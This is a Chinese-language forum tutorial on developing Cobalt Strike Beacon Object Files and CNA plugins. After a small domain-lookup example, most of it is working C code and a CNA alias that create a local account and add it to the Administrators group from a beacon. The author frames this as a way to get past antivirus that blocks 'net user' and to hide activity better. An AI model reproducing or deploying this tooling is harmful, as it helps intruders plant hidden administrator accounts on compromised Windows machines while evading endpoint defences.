BOF及cna插件开发初探

主要讲下bof的代码编写和使用,让师傅们以后能快速修改上手利用

Beacon Object File

bof能够加载并执行C/C++编译后但未链接的目标obj文件(linux中的.o文件)。可以在beacon中执行内部的beaconAPI和Win32API。它的体积很小,在beacon进程内部运行,不会创建新进程,所以可以有效的规避一些EDR。

开发BOF

环境

  1. OS: Windows 10
  2. IDE: VS2022
  3. 开发模版: https://github.com/securifybv/Visual-Studio-BOF-template

将模版下载后,我们导入VS的模版目录。 用户路径\\文稿\\Visual Studio 2022\\Templates\\ProjectTemplates 然后在新建项目中就能看到模版

image.png
然后在生成->批生成中勾选,方案配置选择BOF

image.png
然后生成,就能够在项目目录里看到obj文件

image.png

功能实现

首先了解一下动态函数解析(DFR) 比如我们要获取当前用户名,在Win32API中就要调用GetUserNameA​,我们使用DFR就是要变成如下格式

  1. DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
  • DECLSPEC_IMPORT:导入函数的关键字
  • WINAPI:函数调用约定,一般API函数都是这个
  • ADVAPI32:函数所在的模块名
  • GetUserNameA:函数名称

查找当前域

简单实现一个查找当前域功能 修改模版中Source.c​

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <dsgetdc.h>
  4. #include "beacon.h"
  5. #pragma region error_handling
  6. #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
  7. BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
  8. #ifdef BOF
  9. //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
  10. BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
  11. #else
  12. printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
  13. #endif // BOF
  14. return FALSE;
  15. }
  16. #pragma endregion
  17. DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
  18. DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);
  19. #include <LM.h>
  20. #ifdef BOF
  21. void go(char* buff, int len) {
  22. DWORD dwRet;
  23. PDOMAIN_CONTROLLER_INFO pdcInfo;
  24. dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &amp;pdcInfo);
  25. if (ERROR_SUCCESS == dwRet) {
  26. BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);
  27. }
  28. NETAPI32$NetApiBufferFree(pdcInfo);
  29. }
  30. #else
  31. void main(int argc, char* argv[]) {
  32. }
  33. #endif

image.png
于此我们也可以发现,go函数就是bof执行的入口,当在cs的beacon上执行inline-execute时就会调用go函数。

bof绕过杀毒添加用户

我们在cs上直接利用net user会被阻止

image.png
但是我们如果采用bof的方式就能够绕过 代码如下

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include "bofdefs.h"
  4. #include "beacon.h"
  5. #pragma region error_handling
  6. #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
  7. BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
  8. #ifdef BOF
  9. //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
  10. BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
  11. #else
  12. printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
  13. #endif // BOF
  14. return FALSE;
  15. }
  16. #pragma endregion
  17. typedef DWORD NET_API_STATUS;
  18. DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
  19. DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
  20. #include <LM.h>
  21. #ifdef BOF
  22. void go(char* buff, int len) {
  23. USER_INFO_1 UserInfo;
  24. UserInfo.usri1_name = L"Qqw666";
  25. UserInfo.usri1_password = L"Qqw@#123";
  26. UserInfo.usri1_priv = USER_PRIV_USER;
  27. UserInfo.usri1_home_dir = NULL;
  28. UserInfo.usri1_comment = NULL;
  29. UserInfo.usri1_flags = UF_SCRIPT;
  30. UserInfo.usri1_script_path = NULL;
  31. NET_API_STATUS nStatus;
  32. //创建用户
  33. // https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd?redirectedfrom=MSDN
  34. nStatus = NETAPI32$NetUserAdd(
  35. NULL, //local server
  36. 1, // information level
  37. (LPBYTE)&amp;UserInfo,
  38. NULL // error value
  39. );
  40. if (nStatus == NERR_Success) {
  41. BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Success!\n", NULL);
  42. BeaconPrintf(CALLBACK_OUTPUT, "Username: %ws, PassWord: %ws", UserInfo.usri1_name, UserInfo.usri1_password);
  43. }
  44. else {
  45. BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Failed! %d", nStatus);
  46. }
  47. // 添加用户到管理员组
  48. // https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers?redirectedfrom=MSDN
  49. LOCALGROUP_MEMBERS_INFO_3 account;
  50. account.lgrmi3_domainandname = UserInfo.usri1_name;
  51. NET_API_STATUS aStatus;
  52. aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&amp;account, 1);
  53. if (aStatus == NERR_Success) {
  54. BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators success!", NULL);
  55. }
  56. else {
  57. BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators failed!", NULL);
  58. }
  59. }
  60. #else
  61. void main(int argc, char* argv[]) {
  62. go();
  63. }
  64. #endif

效果

image.png
可以看到成功添加用户,并且添加到管理员组。注意执行这个操作需要有admin的权限。

CNA插件开发

先给出C语言代码,修改了功能,可以自定义用户名和密码

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include "bofdefs.h"
  4. #include "beacon.h"
  5. #pragma region error_handling
  6. #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
  7. BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
  8. #ifdef BOF
  9. //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
  10. BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
  11. #else
  12. printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
  13. #endif // BOF
  14. return FALSE;
  15. }
  16. #pragma endregion
  17. typedef DWORD NET_API_STATUS;
  18. DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
  19. DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
  20. #include <LM.h>
  21. #ifdef BOF
  22. void go(char* buff, int len) {
  23. datap parser;
  24. LPWSTR username;
  25. LPWSTR password;
  26. // 初始化datap结构体变量(parser),用于解析从Beacon接收到的字节流(buff)
  27. BeaconDataParse(&amp;parser, buff, len);
  28. username = (LPWSTR)BeaconDataExtract(&amp;parser, NULL);
  29. password = (LPWSTR)BeaconDataExtract(&amp;parser, NULL);
  30. BeaconPrintf(CALLBACK_OUTPUT, "Extracted username: %S", username);
  31. BeaconPrintf(CALLBACK_OUTPUT, "Extracted password: %S", password);
  32. USER_INFO_1 UserInfo;
  33. UserInfo.usri1_name = username;
  34. UserInfo.usri1_password = password;
  35. UserInfo.usri1_priv = USER_PRIV_USER;
  36. UserInfo.usri1_home_dir = NULL;
  37. UserInfo.usri1_comment = NULL;
  38. UserInfo.usri1_flags = UF_SCRIPT;
  39. UserInfo.usri1_script_path = NULL;
  40. NET_API_STATUS nStatus;
  41. //创建用户
  42. // https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd?redirectedfrom=MSDN
  43. nStatus = NETAPI32$NetUserAdd(
  44. NULL, //local server
  45. 1, // information level
  46. (LPBYTE)&amp;UserInfo,
  47. NULL // error value
  48. );
  49. if (nStatus == NERR_Success) {
  50. BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Success!", NULL);
  51. BeaconPrintf(CALLBACK_OUTPUT, "Username: %ws, PassWord: %ws", UserInfo.usri1_name, UserInfo.usri1_password);
  52. }
  53. else {
  54. BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Failed! %d", nStatus);
  55. }
  56. // 添加用户到管理员组
  57. // https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers?redirectedfrom=MSDN
  58. LOCALGROUP_MEMBERS_INFO_3 account;
  59. account.lgrmi3_domainandname = UserInfo.usri1_name;
  60. NET_API_STATUS aStatus;
  61. aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&amp;account, 1);
  62. if (aStatus == NERR_Success) {
  63. BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators success!", NULL);
  64. }
  65. else {
  66. BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators failed!", NULL);
  67. }
  68. }
  69. #else
  70. void main(int argc, char* argv[]) {
  71. go();
  72. }
  73. #endif

cna代码

  1. beacon_command_register(
  2. "adduser",
  3. "Add a user to administrators",
  4. "usage: adduser [username] [password]");
  5. alias adduser{
  6. local('$handle $data $args');
  7. $uname = $2;
  8. $pass = $3;
  9. if ($uname eq "" or $pass eq "") {
  10. berror($1, "usage command: help adduser");
  11. return;
  12. }
  13. # 读入bof文件
  14. $handle = openf(script_resource("source.obj"));
  15. $data = readb($handle, -1);
  16. closef($handle);
  17. # 打包参数两个ZZ代表两个参数
  18. $args = bof_pack($1, "ZZ", $uname, $pass);
  19. # 执行bof
  20. # "go"是BOF中的函数名,$args是传递给这个函数的参数
  21. beacon_inline_execute($1, $data, "go", $args);
  22. }

效果如下

image.png

总结

可以根据此思路实现所有命令bof化,能够更好的隐藏

  • 发表于 2024-05-20 10:00:01
  • 阅读 ( 5102 )
  • 分类:WEB安全

0 条评论

Qiu_
Qiu_

4 篇文章

站长统计